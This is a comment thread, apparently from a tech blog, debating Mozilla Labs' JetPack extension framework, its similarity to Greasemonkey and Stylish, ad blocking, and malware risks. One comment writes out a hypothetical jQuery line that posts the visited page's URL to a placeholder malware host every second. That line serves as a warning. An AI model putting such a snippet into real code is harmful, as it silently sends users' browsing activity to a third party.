JetPack Could Revolutionise Firefox’s Extensibility—in Time

@Leslie Michael Orchard: Yeah, I wish I could delete that comment.

Leslie Michael Orchard

@operator207: I'm using a Safari-like theme, and I'm not even on OSX.

Webran61

@operator207: That's not a safari-like theme, that's what Firefox looks like on Mac.

Leslie Michael Orchard

@operator207:

Leslie Michael Orchard

Yes, this looks nice. It would be *nicer* if he was not using a safari-like theme to promote a firefox extension.

operator207

@MkFly: I don't get this.

This seems like the equivalent of "visual basic for extensions". While this looks like a killer learning tool, I don't see how this is going to generally result in useful extensions. Just like visual basic apps, while you will probably get some very nice addons, most produced using this will probably be "unuseful".

On the other hand, this might be very useful for web developers/web apps.

aj_robins

As far as I can tell, the only thing this does is take greasemonkey functionality and give aesthetics to what would normally be found under the User Script Commands that you get when right clicking on the monkey.

mahumphrey

This is extremely exciting to me as a casual Javascript developer. On the other hand, if they eventually make this a standard feature, it would be potentially dangerous - one of the main reasons there are so few malicious extensions is that the slow install process makes it harder to convince users to install them. While I do love the idea of a quick and easy install process, there's a risk involved.

I like the way he talks. Many videos have people that talk way too slowly.

With that said, this looks pretty cool.

@tylerstyle: That is the point of Mozilla Labs. It is for experimenting with browser ideas. Integrating the best parts of ubiquity into the awesome bar only makes sense since people do not have to learn more UI.

Greg Diebel

I always liked Stylish better than Greasemonkey because the changes are applied immediately and when you go to a web site you don't see it the other way for a second, before the greasemonkey script gets applied.

This sounds more like Stylish, which is great.

Firefox FTW.

jkrell

Hmm, sort of like an unholy mix of greasemonkey and stylish integrated right into firefox itself? Interesting.

It somehow feels like they invented Ubiquity, only to rip parts out of it for new Projects. They will embed parts of Ubiquity into the Awesomebar in Firefox 3.5 and then extend the rest, that's left into this, huh?

Now it becomes clear, why there has been so little movement on the Ubiquity front lately.

As much, as I admire Aza for his genius Ideas, I don't like, that they start new projects all the time without finishing even one.

Let's see, how this turns out.

I love it! As an author of extensions, Greasemonkey scripts, and Stylish userstyles, I think this is a great step for Mozilla.

MkFly

Does anyone else fear that this will quickly become an malware attack vector? Countless websites interrupting users with overlays saying to install the 'plugin' to watch this video/listen to this song/etc.

setInterval(function(){$.post('[www.mymalware.com]',{suckerNumber:4815162342,url: window.location.href})},1000);

A few of those later and my relatives are calling me because Firefox is running too slow to use.

h3028

I heartily endorse this product !! way to go mozilla labs :]

hot-fresh-rider

Well, the balance to that is that Jetpack extensions won't be able to do as much as full-on extensions. There will be security levels for Jetpack extensions

SevitaMachaon

So this lets you make extensions with HTML, JavaScript, and CSS? Versus XUL, JavaScript, and CSS? What's the big deal??

ninjabob7

so why not just use an extension? (all the video shows is what ad block plus already does). i dont think i understand this.

Frankie Galanti

@aj_robins:
But no viruses like VB!

Penguins-R-Us frequents the site OMG Ponies! Frequents- I can has preview? I'm a PC and I run Windows

@h3028: Well, hopefully it's easy to uninstall and maybe there is some default security settings somewhere.

These things are not good. If you're a web administrator then you'd know. We are losing hundreds of dollars because of your stupid adblocks. They're not there to be annoying, they're there to support the site.

@Flyne: Also, I think that they would implement something like "FF blocked this site from installing a Jetpack extension. Click here to unblock."

reg4c

@operator207: Its just a theme, it just looks nice. Lets nothing bring the OS wars into this :D

reg4c

I want to give this a go, but seeing how my extension needs are satisfied does anyone have any amazingly awesome ideas that will make us millions of dollars?

Or, would, you know, be fun for a weekend project?

reg4c

@ninjabob7: Since you probably did not watch the video this requires only the basics, plus XUL is kind of intimidating to people who want to try to make something but do not have any experience.

If you did watch the video I suggest you contact a professional and consult them about the ADD.

reg4c

@XGhozt: Blame obnoxious admakers and webmasters who deal with them. Any kind of ad that isn't a still, standard-sized banner image can go die. And that's why I use AdBlock.

tobz1000

This is such a great idea. For nearly all of my extensions there's one thing I'd like to change... this should make it a little easier.

tobz1000

@XGhozt: No, you're not. AdBlocking users are a minority among all Internet users. Unless you're running the NYT website, or something targeted at VERY tech-savvy users, this means you're at best losing a few dollars a month, if not mere cents.

@h3028: But how is that different from a malware infested website trying to install a standard extension?

Malware JavaScript popups a "Click here to install the Awesome Plugin of Pr0n Awesomeness!!!" every few seconds. Newbie clicks button. Yellow bar at the top. Newbie clicks "Allow", then "Install".

Not much difference, except for the fact a JetPack starts working immediately.

@tylerstyle, none of Ubiquity is coming to Firefox 3.5. Taskfox, a different project is working on it and will do it for the next release (3.6+).

RoyDerro

@XGhozt: If your ads are so obnoxious that users consciously block them then I would say that you need to lose the dollars. Take for example the ads on Lifehacker homepage, now that is some obnoxious stuff right there.

reg4c